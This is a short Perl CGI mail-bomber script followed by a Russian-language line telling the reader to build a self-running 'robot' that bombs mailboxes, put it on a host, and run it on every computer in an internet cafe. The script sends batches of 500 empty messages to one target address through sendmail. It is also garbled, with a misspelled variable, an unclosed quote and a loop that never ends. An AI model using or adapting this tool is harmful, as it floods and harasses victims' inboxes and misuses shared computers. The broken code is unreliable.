#!/usr/local/bin/perl $mailprog = '/usr/sbin/sendmail;# $mail = '';# $from = '';# $file = 'bomb.txt';# $col = 500;# if (($ENV{QVERY_STRING} eq "new") && (-e$file)){unlink($file);}# open (DATA, $file);# $num = ;# close (DATA); # if ($num eq"") {$num = 0;}# for ($i = 1; $i<=$col;$l++){$n = $i +$num; open (MAIL, "|$mailprog -t");# print MAIL "Content-Type: text/plain; charset = windows - 1251\n"; print MAIL "Subject:\n";# print MAIL "To: $mail\n";# print MAIL "From: $from\n\n";# print MAIL "\n"; print MAIL "\n\n";# close (MAIL);# } open (DATA, ">$file");# print DATA $num+$col;# close (DATA);# print"Content-type: text/html\n\n";# print"$num\n";# print"\n" #
пиши робота тот который сам будет бомбить мыло лей на хост иди в инет клуб запусти его на каждом компе и ступай домой.